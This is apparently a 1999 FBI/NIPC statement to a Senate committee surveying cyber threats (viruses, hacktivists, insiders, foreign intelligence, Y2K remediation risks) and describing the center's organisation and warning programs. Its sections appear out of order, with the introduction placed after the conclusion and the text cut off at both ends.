      Switzerland and eventually ended up in the hands of organized crime 
      groups in Italy. Mr. Cantrell was sentenced to two years as a result of 
      his guilty plea, while one of his associates, Cory Lindsay, was sentenced 
      to 41 months.

      The "Phonemasters" activities should serve as a wake up call for 
      corporate security. Their methods included "dumpster diving" to gather 
      old phone books and technical manuals for systems. They then used this 
      information to trick employees into giving up their
           logon and 
      password information. The group then used this information to break into 
      victim systems. It is important to remember that often "cyber crimes" are 
      facilitated by old fashioned guile, such as calling employees and 
      tricking them into giving up passwords. Good "cyber security" practices 
      must therefore address personnel security and "social engineering" in 
      addition to instituting electronic security measures.

      Virus Writers

      Virus writers are posing an increasingly serious threat to networks and 
      systems worldwide. As noted above, we have had several damaging computer 
      viruses this year, including the Melissa Macro Virus, the Explore.Zip 
      worm, and the CIH (Chernobyl) Virus.
           The NIPC frequently sends out 
      warnings regarding particularly dangerous viruses.

      Earlier this year, we reacted quickly to the spread of the Melissa Macro 
      Virus. While there are dozens of viruses released every day, the speedy 
      propagation of Melissa and its effects on networks caused us great 
      concern. Within hours of learning about the virus
           on Friday, March 
      26, 1999, we had coordinated with key cyber response components of DoD 
      and the Computer Emergency Response Team (CERT) at Carnegie-Mellon 
      University. Our Watch operation went into 24-hour posture and sent out 
      warning messages to federal agencies, state and local law enforcement, FBI 
      Field Offices, and the private sector. Because the virus affected systems 
      throughout the public, we also took the unusual step of issuing a public 
      warning through the FBI's Public Affairs Office and on our website. These 
      steps helped mitigate the damage by alerting computer users of the virus 
      and of protective steps they could take.

      On the investigative side, the NIPC acted as a central point of contact 
      for the Field Offices who worked leads on the case. A tip received by the 
      New Jersey State Police from America Online, and their follow-up 
      investigation with the FBI's Newark Field
           Office, led to the April 
      1, 1999 arrest of David L. Smith. Search warrants were executed in New 
      Jersey by the New Jersey State Police and FBI Special Agents from the 
      Newark Field Office.

      Just in the last few weeks we have seen reports on the Suppl Word Macro 
      virus, the toadie.exe virus, and the W97M/Thurs.A (or Thursday) virus. 
      This last virus has already infected over 5,000 machines, according to 
      news reports, and deletes files on victim's
           hard drives. The payload 
      of the virus is triggered on 12-13 and disables the macro virus 
      protection in Word 97. We are also concerned with the propagation of a 
      Trojan Horse called Back Orifice 2000, which allows malicious actors to 
      monitor or tamper with computers undetected by the users.

      Virus writers are not often broken out as a threat category, and yet they 
      often do more damage to networks than hackers do. The prevalence of 
      computer viruses reminds us that we all have to be very careful about the 
      attachments we open and we all must be
           sure to keep our anti-virus 
      software up-to-date.

      Hactivism

      Recently we have seen a rise in what has been dubbed "hacktivism"-- 
      politically motivated attacks on publicly accessible web pages or e-mail 
      servers. These groups and individuals overload e-mail servers and hack 
      into web sites to send a political message.
           While these attacks 
      generally have not altered operating systems or networks, they still 
      damage services and deny the public access to websites containing 
      valuable information and infringe on others' right to communicate. One 
      such group is called the "Electronic Disturbance Theater," which promotes 
      civil disobedience on-line in support of its political agenda regarding 
      the Zapatista movement in Mexico and other issues. This past spring they 
      called for worldwide electronic civil disobedience and have taken what 
      they term "protest actions" against White House and Department of Defense 
      servers. Supporters of Kevin Mitnick, recently convicted of numerous 
      computer security offenses, hacked into the Senate webpage and defaced it 
      in May and June of this past year. The Internet has enabled new forms of 
      political gathering and information sharing for those who want to advance 
      social causes; that is good for our democracy. But illegal activities 
      that disrupt e-mail servers, deface web-sites, and prevent the public 
      from accessing information on U.S. government and private sector web sites 
      should be regarded as criminal acts that deny others their First 
      Amendment rights to communicate rather than as an acceptable form of 
      protest.

      "Recreational" Hackers

      Virtually every day we see a report about "recreational hackers," or 
      "crackers," who crack into networks for the thrill of the challenge or 
      for bragging rights in the hacker community. While remote cracking once 
      required a fair amount of skill or computer
           knowledge, the 
      recreational hacker can now download attack scripts and protocols from 
      the World Wide Web and launch them against victim sites. Thus while 
      attack tools have become more sophisticated, they have also become easier 
      to use.

      These types of hacks are very numerous and may appear on their face to be 
      benign. But they can have serious consequences. A well-known example of 
      this involved a juvenile who hacked into the NYNEX (now Bell Atlantic) 
      telephone system that serviced the
           Worcester, Massachusetts area 
      using his personal computer and modem. The hacker shut down telephone 
      service to 600 customers in the local community. The resulting disruption 
      affected all local police and fire 911 services as well as the ability of 
      incoming aircraft to activate the runway lights at the Worcester airport. 
      Telephone service was out at the airport tower for six hours. The U.S. 
      Secret Service investigation of this case also brought to light a 
      vulnerability in 22,000 telephone switches nationwide that could be taken 
      down with four keystrokes. Because he was a juvenile, however, the hacker 
      was sentenced to only two years probation and 250 hours of community 
      service, and was forced to forfeit the computer equipment used to hack 
      into the phone system and reimburse the phone company for $5,000. This 
      case demonstrated that an attack against our critical communications hubs 
      can have cascading effects on several infrastructures. In this case, 
      transportation, emergency services, and telecommunications were disrupted. 
      It also showed that widespread disruption could be caused by a single 
      person from his or her home computer.

      Insider Threat

      The disgruntled insider is a principal source of computer crimes. 
      Insiders do not need a great deal of knowledge about computer intrusions, 
      because their knowledge of victim systems often allows them to gain 
      unrestricted access to cause damage to the system
           or to steal system 
      data. The 1999 Computer Security Institute/FBI report notes that 55% of 
      respondents reported malicious activity by insiders.

      There are many cases in the public domain involving disgruntled insiders. 
      For example, Shakuntla Devi Singla used her insider knowledge and another 
      employee's password and logon identification to delete data from a U.S. 
      Coast Guard personnel database
           system. It took 115 agency employees 
      over 1800 hours to recover and reenter the lost data. Ms. Singla was 
      convicted and sentenced to five months in prison, five months home 
      detention, and ordered to pay $35,000 in restitution.

      In another case, a former Forbes employee named George Parente hacked got 
      into Forbes systems using another employee's password and login 
      identification and crashed over half of Forbes' computer network servers 
      and erased all of the data on each of the
           crashed services. The data 
      could not be restored. The losses to Forbes were reportedly over 
      $100,000.

      Identifying the Intruder

      One major difficulty that distinguishes cyber threats from physical 
      threats is determining who is attacking your system, why, how, and from 
      where. This difficulty stems from the ease with which individuals can 
      hide or disguise their tracks by manipulating logs and
           directing 
      their attacks through networks in many countries before hitting their 
      ultimate target. The now well know "Solar Sunrise" case illustrates this 
      point. Solar Sunrise was a multi-agency investigation (which occurred 
      while the NIPC was being established) of intrusions into more than 500 
      military, civilian government, and private sector computer systems in the 
      United States, during February and March 1998. The intrusions occurred 
      during the build-up of United States military personnel in the Persian 
      Gulf in response to tension with Iraq over United Nations weapons 
      inspections. The intruders penetrated at least 200 unclassified U.S. 
      military computer systems, including seven Air Force bases and four Navy 
      installations, Department of Energy National Laboratories, NASA sites, and 
      university sites. Agencies involved in the investigation included the 
      FBI, DoD, NASA, Defense Information Systems Agency, AFOSI, and the 
      Department of Justice.

      The timing of the intrusions and links to some Internet Service Providers 
      in the Gulf region caused many to believe that Iraq was behind the 
      intrusions. The investigation, however, revealed that two juveniles in 
      Cloverdale, California and several individuals in Israel
           were the 
      culprits. Solar Sunrise thus demonstrated to the interagency community 
      how difficult it is to identify an intruder until facts are gathered in 
      an investigation, and why assumptions cannot be made until sufficient 
      facts are available. It also vividly demonstrated the vulnerabilities that 
      exist in our networks; if these individuals were able to assume "root 
      access" to DoD systems, it is not difficult to imagine what hostile 
      adversaries with greater skills and resources would be able to do. 
      Finally, Solar Sunrise demonstrated the need for interagency coordination 
      by the NIPC.

      Special Threat: Y2K Malicious Activity

      The main concern with the Y2K rollover is, of course, the possibility of 
      widespread service outages caused by the millennium date problem in older 
      computer systems. The President's Y2K Council has done an excellent job 
      in helping the nation prepare for the
           rollover event. Given our 
      overall mission under PDD 63, the NIPC's role with regard to Y2K will be 
      to maintain real-time awareness of intentional cyber threats or incidents 
      that might take place around the transition to 2000, disseminate warnings 
      to the appropriate government and private sector parties, and coordinate 
      the government's response to such incidents. We are not responsible for 
      dealing with system outages caused by the millennium bug. Because of the 
      possibility that there might be an increase in malicious activity around 
      January 1, 2000, we have formulated contingency plans both for NIPC 
      Headquarters and the FBI Field Offices.

      We are presently augmenting our existing relationships and 
      information-sharing mechanisms with relevant entities in the federal 
      government, such as the Information Coordination Center (ICC), state and 
      local governments, private industry, and the CERT/FIRST
           community. 
      Information will come to us from a variety of places, including FBI field 
      offices and Legal Attaches overseas, as well as the ICC. FBI field 
      offices are also tasked to establish Y2K plans for their regions of 
      responsibility. In essence, all of the activities that we will undertake 
      during the rollover period are ones we perform everyday. The difference 
      is that we will be prepared to conduct them at an increased tempo to deal 
      with any incidents occurring during the Y2K rollover.

      There is one potential problem associated with Y2K that causes us special 
      concern -- the possibility that malicious actors, foreign or domestic, 
      could use the Y2K remediation process to install malicious code in the 
      "remediated" software. Thousands of
           companies across the United 
      States and around the world are busy having their source code reviewed to 
      ensure that they are "Y2K compliant." Those who are doing the Y2K 
      remediation are almost always contractors who are given the status of a 
      trusted insider with broad authority to review and make changes to the 
      source code that runs information systems. These contractors could, 
      undetected, do any of the following to compromise systems:

           Install Trap Doors: By installing trap doors, intruders can later 
           gain access to a system through an opening that they have created 
           and then exploit or attack the system 
                    Obtain "Root 
           Access": Given their level of access, remediation companies can gain 
           the same extensive privileges as the system administrator, allowing 
           them to steal or alter information or engage in a "denial of 
           service" attack on the system. Implant Malicious Code: By implanting 
           malicious code, someone could place a logic bomb or a time-delayed 
           virus in a system that will later disrupt it. A malicious actor 
           could also implant a program to compromise passwords or other 
           aspects of system security. Map Systems: By mapping systems as a 
           trusted insider, a contractor can gain valuable information to sell 
           to economic competitors or even foreign intelligence agencies. 

      Systems can be compromised for any number of purposes, including foreign 
      intelligence activities, information warfare, industrial espionage, 
      terrorism, or organized crime. And since any vulnerabilities that are 
      implanted will persist as long as the software is in
           place, this is 
      a problem that will last well beyond January 1, 2000. Companies and 
      government agencies therefore need to determine how they will deal with 
      this potential "Post-Y2K problem" on their critical systems.

      We have little concrete evidence so far of vendors' planting malicious 
      code during remediation. But the threat is such that companies should 
      take every precaution possible. Of course, checking the remediation work 
      to make sure that no malicious code was
           implanted in a system is no 
      easy matter. If reviewing the millions of lines of code at issue were 
      simple, there would be little need for Y2K contractors in the first 
      place. Nevertheless, given the vulnerabilities that could be implanted in 
      critical systems, it is imperative that the client companies do as much as 
      possible to check the background of the companies doing their remediation 
      work, oversee the remediation process closely, and review new code as 
      closely as possible and remove any extraneous code. Further, companies 
      should test for trap doors and other known vulnerabilities to cracking. 
      Companies can also use "red teams" to try to crack the software and 
      further determine if trap doors exist.

      Status of the NIPC

      The NIPC is an interagency Center located at the FBI. Created in 1998, 
      the NIPC serves as the focal point for the government's efforts to warn 
      of and respond to cyber intrusions. In PDD-63, the President directed 
      that the NIPC "serve as a national critical
           infrastructure threat 
      assessment, warning, vulnerability, and law enforcement investigation and 
      response entity." The PDD further states that the mission of the NIPC 
      "will include providing timely warnings of intentional threats, 
      comprehensive analyses and law enforcement investigation and response."

      Thus, the PDD places the NIPC at the core of the government's warning, 
      investigation, and response system for threats to, or attacks on, the 
      nation's critical infrastructures. The NIPC is the focal point for 
      gathering information on threats to the infrastructures as
           well as 
      "facilitating and coordinating the Federal Government's response to an 
      incident." The PDD further specifies that the NIPC should include 
      "elements responsible for warning, analysis, computer investigation, 
      coordinating emergency response, training, outreach, and development and 
      application of technical tools."

      The NIPC has a vital role in collecting and disseminating information 
      from all relevant sources. The PDD directs the NIPC to "sanitize law 
      enforcement and intelligence information for inclusion into analyses and 
      reports that it will provide, in appropriate form, to
           relevant 
      federal, state, and local agencies; the relevant owners and operators of 
      critical infrastructures; and to any private sector information sharing 
      and analysis entity." The NIPC is also charged with issuing "attack 
      warnings or alerts to increases in threat condition to any private sector 
      information sharing and analysis entity and to the owners and operators."

      In order to perform its role, the NIPC is continuing to establish a 
      network of relationships with a wide range of entities in both the 
      government and the private sector. The PDD provides for this in several 
      ways. First, it states that the Center will "include
           representatives 
      from the FBI, U.S. Secret Service, and other investigators experienced in 
      computer crimes and infrastructure protection, as well as representatives 
      detailed from the Department of Defense, Intelligence Community and Lead 
      Agencies.1 Second, pursuant to the PDD, the NIPC has electronic links to 
      the rest of the government in order to facilitate the sharing of 
      information and the timely issuance of warnings. Third, the PDD directs 
      all executive departments and agencies to "share with the NIPC information 
      about threats and warning of attacks and actual attacks on critical 
      government and private sector infrastructures, to the extent permitted by 
      law." By bringing other agencies directly into the Center and building 
      direct communication linkages, the Center provides a means of coordinating 
      the government's cyber expertise and ensuring full sharing of 
      information, consistent with applicable laws and regulations.

      To accomplish its goals under the PDD, the NIPC is organized into three 
      sections:

      1) The Computer Investigations and Operations Section (CIOS) is the 
      operational and response arm of the Center. It program manages computer 
      intrusion investigations conducted by FBI Field Offices throughout the 
      country; provides subject matter experts,
           equipment, and technical 
      support to cyber investigators in federal, state, and local government 
      agencies involved in critical infrastructure protection; and provides a 
      cyber emergency response capability to help resolve a cyber incident.

      2) The Analysis and Warning Section (AWS) serves as the "indications and 
      warning" arm of the NIPC. The AWS reviews numerous government and private 
      sector databases, media, and other sources daily to disseminate 
      information that is relevant to any
           aspect of NIPC's mission, 
      including the gathering of indications of a possible attack. It provides 
      analytical support during computer intrusion investigations, performs 
      analyses of infrastructure risks and threat trends, and produces current 
      analytic products for the national security and law enforcement 
      communities, the owners-operators of the critical infrastructures, and 
      the computer network managers who protect their systems. It also 
      distributes tactical warnings, alerts, and advisories to all the relevant 
      partners, informing them of exploited vulnerabilities and threats.

      3) The Training, Outreach and Strategy Section (TOSS) coordinates the 
      training and continuing education of cyber investigators within the FBI 
      Field Offices and other federal, state and local law enforcement 
      agencies. It also coordinates our liaison with private
           sector 
      companies, state and local governments, other government agencies, and 
      the FBI's Field Offices. In addition, this section manages our collection 
      and cataloguing of information concerning "key assets" -- i.e., critical 
      individual components within each infrastructure sector, such as specific 
      power grids, telecommunications switch nodes, or financial systems -- 
      across the country.

      To facilitate our ability to investigate and respond to attacks, the FBI 
      has created the National Infrastructure Protection and Computer Intrusion 
      (NIPCI) Program in the 56 FBI Field Offices across the country. Under 
      this program, managed by the NIPC at
           FBIHQ, "NIPCI" squads 
      consisting of at least seven agents have been created in 10 Field 
      Offices: Washington D.C., New York, San Francisco, Chicago, Dallas, Los 
      Angeles, Atlanta, Charlotte, Boston, and Seattle. For FY 2000, we intend 
      to reallocate our existing field agent compliment to create six additional 
      squads in Baltimore, Houston, Miami, Newark, New Orleans, and San Diego. 
      Because of resource constraints, the other field offices have only 1 - 5 
      agents dedicated to working NIPCIP matters.

      The NIPC's mission clearly requires the involvement and expertise of many 
      agencies other than the FBI. This is why the NIPC, though housed at the 
      FBI, is an interagency center that brings together personnel from all the 
      relevant agencies. In addition to our 79
           FBI employees, the NIPC 
      currently has 28 representatives from: DoD (including the military 
      services and component agencies), the CIA, DOE, NASA, the State 
      Department as well as federal law enforcement, including the U.S. Secret 
      Service, the U.S. Postal Service and, until recently, the Oregon State 
      Police. The NIPC is in the process of seeking additional representatives 
      from State and local law enforcement.

      But clearly we cannot rely on government personnel alone. Much of the 
      technical expertise needed for our mission resides in the private sector. 
      Accordingly, we rely on contractors to provide technical and other 
      assistance. We are also in the process of
           arranging for private 
      sector representatives to serve in the Center full time. In particular, 
      the Attorney General and the Information Technology Association of 
      America (ITAA) announced in April that the ITAA would detail personnel to 
      the NIPC as part of a "Cybercitizens Partnership" between the government 
      and the information technology (IT) industry. Information technology 
      industry representatives serving in the NIPC would enhance our technical 
      expertise and our understanding of the information and communications 
      infrastructure.

      NIPC Activities

      The NIPC's operations can be divided into three categories: protection, 
      detection, and response.

      Protection

      Our role in protecting infrastructures against cyber intrusions is not to 
      advise the private sector on what hardware or software to use or to act 
      as their systems administrator. Rather, our role is to provide 
      information about threats, ongoing incidents, and exploited
           
      vulnerabilities so that government and private sector system 
      administrators can take the appropriate protective measures. The NIPC is 
      developing a variety of products to inform the private sector and other 
      government agencies of threats, including: warnings, alerts, and 
      advisories; the Infrastructure Protection Digest; Critical Infrastructure 
      Developments; CyberNotes; and topical electronic reports. These products 
      are designed for tiered distribution to both government and private 
      sector entities consistent with applicable law and the need to protect 
      intelligence sources and methods, and law enforcement investigations. For 
      example, the Infrastructure Protection Digest is a quarterly publication 
      providing analyses and information on critical infrastructure issues. The 
      Digest provides analytical insights into major trends and events 
      affecting the nation's critical infrastructures. It is usually published 
      in both classified and unclassified formats and reaches national security 
      and civilian government agency officials as well as infrastructure owners. 
      Critical Infrastructure Developments is distributed bi-weekly to private 
      sector entities. It contains analyses of recent trends, incidents, or 
      events concerning critical infrastructure protection. CyberNotes is 
      another NIPC publication designed to provide security and information 
      system professionals with timely information on cyber vulnerabilities, 
      hacker exploit scripts, hacker trends, virus information, and critical 
      infrastructure-related best practices. It is published twice a month on 
      our website and disseminated in hard copy to government and private sector 
      audiences.

      The NIPC, in conjunction with the private sector, has also developed an 
      initiative called "InfraGard" to expand direct contacts with the private 
      sector infrastructure owners and operators and to share information about 
      cyber intrusions and exploited
           vulnerabilities, with the goal of 
      increasing protection of critical infrastructures. The initiative 
      encourages the exchange of information by government and private sector 
      members through the formation of local InfraGard chapters within the 
      jurisdiction of each of the 56 FBI Field Offices. The initiative includes 
      an intrusion alert network using encrypted e-mail, a secure website and 
      local chapter activities. A critical component of InfraGard is the 
      ability of industry to provide information on intrusions to the NIPC and 
      the local FBI Field Office using secure communications in both a detailed 
      and a "sanitized" format. The local FBI Field Offices can, if 
      appropriate, use the detailed version to initiate an investigation, while 
      the NIPC can analyze that information in conjunction with law enforcement, 
      intelligence, open source, or other industry information to determine if 
      the intrusion is part of a broader attack on numerous sites. The NIPC can 
      simultaneously use the sanitized version to inform other members of the 
      intrusion without compromising the confidentiality of the reporting 
      company. InfraGard also provides us with a regular, secure method of 
      providing additional security related to information to the private 
      sector based on information we obtained from law enforcement 
      investigations and other sources. InfraGard has recently been expanded to 
      a total of 21 FBI Field Offices. The program will be expanded to the rest 
      of the country later this year.

      Under PDD-63, the NIPC also serves as the U.S. government's "Lead Agency" 
      for the Emergency Law Enforcement Services Sector. As Sector Liaison for 
      law enforcement, the NIPC and a "Sector Coordinator" committee 
      representing state and local law
           enforcement are formulating a plan 
      to reduce the vulnerabilities of state and local law enforcement to cyber 
      attack and are developing methods and procedures to share information 
      within the sector. The NIPC and the FBI Field Offices are also working 
      with the State and local law enforcement agencies to raise awareness with 
      regard to vulnerabilities in this sector.

      Detection

      Given the ubiquitous vulnerabilities in existing Commercial Off-the-Shelf 
      (COTS) software, intrusions into critical systems are inevitable for the 
      foreseeable future. Thus, detection of these intrusions is critical if 
      the U.S. Government and critical infrastructure
           owners and operators 
      are going to be able to respond. To improve our detection capabilities, 
      we first need to ensure that we are fully collecting, sharing, and 
      analyzing all extant information from all relevant sources. It is often 
      the case that intrusions can be discerned simply by collecting bits of 
      information from various sources; conversely, if we don't collate these 
      pieces of information for analysis, we might not detect the intrusions at 
      all. Thus the NIPC's role in collecting information from all sources and 
      performing analysis in itself aids the role of detection.

      The NIPC is currently concentrating on developing and implementing 
      reliable mechanisms for receiving, processing, analyzing and storing 
      information provided by government and private sector entities. This 
      information is being used by NIPC analysts to develop
           tactical and 
      strategic warning indicators of cyber threats and attacks. The NIPC and 
      North American Energy Reliability Council (NERC) have established an 
      industry-based Electric Power Working Group to develop tactical warning 
      indicators and information sharing procedures for the electric power 
      sector. The NIPC also has developed mechanisms to share cyber incident 
      information with both government agencies and private companies in the 
      telecommunications sector. In the long-term, our indications and warning 
      efforts will require participation by the Intelligence Community, DoD, 
      the sector lead agencies, other government agencies, federal, State and 
      local law enforcement, and the private sector owners and operators of the 
      infrastructures.

      Another initiative that will aid in the detection of network intrusions 
      is the "Federal Intrusion Detection Network" ("FIDNet"), a National 
      Security Council initiative that would be managed by the General Services 
      Administration. Many agencies already have their
           own intrusion 
      detection systems. FIDNet will enhance agencies' cyber security by 
      linking their intrusion detection systems together so that suspicious 
      patterns of activity can be detected and alerts issued across agencies. 
      The goal of FIDNet is to detect intrusions in the federal civilian 
      agencies' critical computer systems. (Contrary to recent press reports, 
      FIDNet will not extend to private sector systems.) To do this, critical 
      network event data will be captured and analyzed so that patterns can be 
      established and, in the event of an attack, warnings issued. FIDNet will 
      be the civilian agency counterpart for the automated detection system 
      currently deployed across Department of Defense systems. FIDNet, under 
      current plans, will consist of the following: sensors at key network 
      nodes; a centrally managed GSA facility, the Federal Intrusion Detection 
      Analysis Center (FIDAC), to analyze the technical data from the nodes; 
      and secure storage and dissemination of collected information. The NIPC 
      will receive reports from the FIDAC when there is evidence of a possible 
      federal crime (such as a violation of 18 U.S.C §1030). Using all-source 
      information, the Center would then analyze intrusions and other 
      significant incidents to implement response efforts and support and 
      inform national security decision-makers. FIDNet-derived information would 
      also be combined with all-source reporting available to the NIPC to 
      produce analysis and warning products which will be distributed to 
      government, private sector companies, and the public, as appropriate.

      Response

      The NIPC's and the FBI's role in response principally consists of 
      investigating intrusions to identify the responsible party and issuing 
      warnings to affected entities so that they can take appropriate 
      protective steps. As discussed earlier, in the cyber world,
           
      determining what is happening during a suspected intrusion is difficult, 
      particularly in the early stages. An incident could be a system probe to 
      find vulnerabilities or entry points, an intrusion to steal or alter data 
      or plant sniffers or malicious code, or an attack to disrupt or deny 
      service. The cyber crime scene is totally different from a crime scene in 
      the physical world in that it is dynamic -- it grows, contracts, and can 
      change shape. Determining whether an intrusion is even occurring can 
      often be difficult in the cyber world, and usually a determination cannot 
      be made until after an investigation is initiated. In the physical world, 
      by contrast, one can see instantly if a building has been bombed or an 
      airliner brought down.

      Further, the tools used to perpetrate a cyber terrorist attack can be the 
      same ones used for other cyber intrusions (simple hacking, foreign 
      intelligence gathering, organized crime activity to steal data, etc.), 
      making identification and attribution more difficult. The
           
      perpetrators could be teenagers, criminal hackers, electronic protestors, 
      terrorists, foreign intelligence services, or foreign military. In order 
      to attribute an attack, FBI Field Offices can gather information from 
      within the United Sates using either criminal investigative or foreign 
      counter-intelligence authorities, depending on the circumstances. This 
      information is necessary not only to identify the perpetrator but also to 
      determine the size and nature of the intrusion: how many systems are 
      affected, what techniques are being used, and what the purpose of the 
      intrusions is--disruption, espionage, theft of money, etc.

      Relevant information also could come from the U.S. Intelligence Community 
      (if the attack is from a foreign source), other U.S. government agency 
      information, state and local law enforcement, private sector contacts, 
      the media, other open sources, or foreign
           law enforcement contacts. 
      The NIPC's role is to coordinate and collect this information.

      On the warning side, if we determine an intrusion is imminent or 
      underway, the Watch and Warning Unit is responsible for formulating 
      warnings, alerts, or advisories and quickly disseminating them to all 
      appropriate parties. If we determine an attack is underway,
           we can 
      issue warnings using an array of mechanisms, and send out sanitized and 
      unsanitized warnings to the appropriate parties in the government and the 
      private sector so they can take immediate protective steps. The Center 
      has issued 22 warnings, alerts, or advisories between January 4 and 
      September 22, 1999.

      Two other NIPC initiatives are directed to improving our response 
      capabilities. First, to respond appropriately, our field investigators 
      need the proper training. Training FBI and other agencies' investigators 
      is critical if we hope to keep pace with the rapidly
           changing 
      technology and be able to respond quickly and effectively to computer 
      intrusions. The NIPC has been very active in training. These training 
      efforts will help keep us at the cutting edge of law enforcement and 
      national security in the 21st Century. The Center provided training to 314 
      attendees in FY 1998. In FY 99, over 383 FBI Agents, state and local law 
      enforcement representatives, and representatives from other government 
      agencies have taken FBI-sponsored courses on computer intrusions and 
      network analysis, the workings of the energy and telecommunications key 
      assets, and other relevant topics.

      Second, our Key Asset Initiative (KAI) facilitates response to threats 
      and intrusion incidents by building liaison and communication links with 
      the owners and operators of individual companies in the critical 
      infrastructure sectors and enabling contingency planning.
           The KAI 
      began in the 1980s and focused on physical vulnerabilities to terrorism. 
      Under the NIPC, the KAI has been reinvigorated and expanded to focus on 
      cyber vulnerabilities as well. The KAI initially will involve determining 
      which assets are key within the jurisdiction of each FBI Field Office and 
      obtaining 24-hour points of contact at each asset in cases of emergency. 
      Eventually, if future resources permit, the initiative will include the 
      development of contingency plans to respond to attacks on each asset, 
      exercises to test response plans, and modeling to determine the effects of 
      an attack on particular assets. FBI Field Offices will be responsible for 
      developing a list of the assets within their respective jurisdictions, 
      while the NIPC will maintain the national database. The KAI is being 
      developed in coordination with DOD and other agencies.

      Conclusion

      While the NIPC has accomplished much over the last year in building the 
      first national-level operational capability to respond to cyber 
      intrusions, much work remains. We have learned from cases that successful 
      network investigation is highly dependent on
           expert investigators 
      and analysts, with state of the art equipment and training. We have begun 
      to build that capability both in the FBI Field Offices and at NIPC 
      Headquarters, but we have much work ahead if we are to build our 
      resources and capability to keep pace with the changing technology and 
      growing threat environment and be capable of responding to several major 
      incidents at once.

      We have also demonstrated how much can be accomplished when agencies work 
      together, share information, and coordinate their activities as much as 
      legally permissible. But on this score, too, more can be done to achieve 
      the interagency and public-private
           partnerships called for by PDD- 
      63. We need to ensure that all relevant agencies are sharing information 
      about threats and incidents with the NIPC and devoting personnel and 
      other resources to the Center so that we can continue to build a truly 
      interagency, "national" center. Finally, we must work with Congress to 
      make sure that policy makers understand the threats we face in the 
      Information Age and what measures are necessary to secure our Nation 
      against them. I look forward to working with the Members and Staff of this 
      Committee to address these vitally important issues.

      Thank you.

      1 The Lead Agencies are: Commerce for information and communications; 
      Treasury for banking and finance; EPA for water supply; Transportation 
      for aviation, highways, mass transit, pipelines, rail, and waterborne 
      commerce; Justice/FBI for emergency law
           enforcement services; 
      Federal Emergency Management Agency for emergency fire service and 
      continuity of government; Health and Human Services for public health 
      services. The Lead Agencies for special functions are: State for foreign 
      affairs, CIA for intelligence, Defense for national defense, and 
      Justice/FBI for law enforcement and internal security. The NIPC is 
      performing the lead agency and special functions roles specified for 
      "Justice/FBI" in the PDD.

      Introduction

      Mr. Chairman, Senator Feinstein, and Members of the Committee: Thank you 
      for inviting me here today to discuss critical infrastructure protection 
      issues. Mr. Chairman, you and this committee have been leaders in 
      recognizing the importance of these issues and
           the urgency of 
      addressing the new threats to our national security in the Information 
      Age, and I welcome this opportunity to share our perspectives with you 
      today. As you know, the Federal Government is developing its capabilities 
      for dealing with threats to our nation's infrastructures. Presidential 
      Decision Directive-63 set in motion an unprecedented effort to protect 
      our nation's critical infrastructures, which the PDD defined as "those 
      physical and cyber-based systems essential to the minimum operations of 
      the economy and government." Critical infrastructures include 
      telecommunications, energy, banking and finance, transportation, water 
      systems, and emergency services, both public and private. The PDD 
      formally designated the National Infrastructure Protection Center (NIPC) 
      to have a central operational role in the government's effort. The Center 
      works closely with the National Coordinator for Security, Infrastructure 
      Protection, and Counter-terrorism; the Department of Defense (DoD); the 
      U.S. Intelligence Community (USIC); other federal agencies; and the 
      private sector to protect our critical infrastructures. My statement will 
      cover the spectrum of threats we are facing and the status of the NIPC 
      and its activities.

      Spectrum of Threats

      The news media is filled with examples of intrusions into government and 
      private sector computer networks. Politically motivated hackers have been 
      attacking numerous U.S. Government websites, including the Senate's. 
      Deputy Secretary of Defense John
           Hamre reported in February that DoD 
      is "detecting 80 to 100 [potential hacking] events daily." We have had 
      several damaging computer viruses this year, including the Melissa Macro 
      Virus, the Explore.Zip Worm, and the CIH (Chernobyl) Virus. Computer 
      Economics, Inc., a California firm, estimates that damage in the first 
      two quarters of 1999 from viruses has topped $7 billion. The FBI's case 
      load for computer hacking and network intrusion cases has doubled each of 
      the last two years. Currently we have over 800 pending investigations. In 
      its 1999 survey, the Computer Security Institute estimated the total 
      financial losses by the 163 businesses it surveyed from computer security 
      breaches at $123.7 million. This includes everything from theft of 
      proprietary data to denial of service on networks. E-commerce has become 
      so important that firms, including Sedgwick Group PLC (in cooperation 
      with IBM), Lloyds of London, and Network Risk Management Services, are 
      now offering "hacker insurance."

      Sensitive Intrusions

      In the past few years we have seen a series of intrusions into numerous 
      Department of Defense computer networks as well as networks of other 
      federal agencies, universities, and private sector entities. Intruders 
      have successfully accessed U.S. Government
           networks and took large 
      amounts of unclassified but sensitive information. In investigating these 
      cases, the NIPC has been coordinating with FBI Field Offices, the 
      Department of Defense, and other government agencies, as circumstances 
      require. But it is important that the Congress and the American public 
      understand the very real threat that we are facing in the cyber realm, 
      not just in the future, but now.

      Information Warfare

      Perhaps the greatest potential threat to our national security is the 
      prospect of "information warfare" by foreign militaries against our 
      critical infrastructures. We know that several foreign nations are 
      already developing information warfare doctrine, programs, and
           
      capabilities for use against each other and the United States or other
       other nations. Foreign nations are developing information 
      warfare programs because they see that they cannot defeat the United 
      States in a head-to-head military encounter and they believe that 
      information operations are a way to strike at what they perceive as 
      America's Achilles Heel -- our reliance on information technology to 
      control critical government and private sector systems. For example, two 
      Chinese military officers recently published a book that called for the 
      use of unconventional measures, including the propagation of computer 
      viruses, to counterbalance the military power of the United States. In 
      addition, during the recent conflict in Yugoslavia, hackers sympathetic 
      to Serbia electronically "ping" attacked NATO web servers. And Russian as 
      well as other individuals supporting the Serbs attacked websites in NATO 
      countries, including the United States, using virus-infected e-mail and 
      hacking attempts. Over 100 entities in the United States received these 
      e-mails. Several British organizations lost files and databases. These 
      attacks did not cause any disruption of the military effort, and the 
      attacked entities quickly recovered. But such attacks are portents of 
      much more serious attacks that we can expect foreign adversaries to 
      attempt in future conflicts.

      Foreign intelligence services

      Foreign intelligence services have adapted to using cyber tools as part 
      of their information gathering and espionage tradecraft. In a case dubbed 
      "the Cuckoo's Egg," between 1986 and 1989 a ring of West German hackers 
      penetrated numerous military,
           scientific, and industry computers in 
      the United States, Western Europe, and Japan, stealing passwords, 
      programs, and other information which they sold to the Soviet KGB. 
      Significantly, this was over a decade ago -- ancient history in Internet 
      years. While I cannot go into specifics about the situation today in an 
      open hearing, it is clear that foreign intelligence services increasingly 
      view computer intrusions as a useful tool for acquiring sensitive U.S. 
      government and private sector information.

      Terrorists

      Terrorists are known to use information technology and the Internet to 
      formulate plans, raise funds, spread propaganda, and to communicate 
      securely. For example, convicted terrorist Ramzi Yousef, the mastermind 
      of the World Trade Center bombing, stored
           detailed plans to destroy 
      United States airliners on encrypted files on his laptop computer. 
      Moreover, some groups have already used cyber attacks to inflict damage 
      on their enemies' information systems. For example, a group calling 
      itself the Internet Black Tigers conducted a successful "denial of 
      service" attack on servers of Sri Lankan government embassies. Italian 
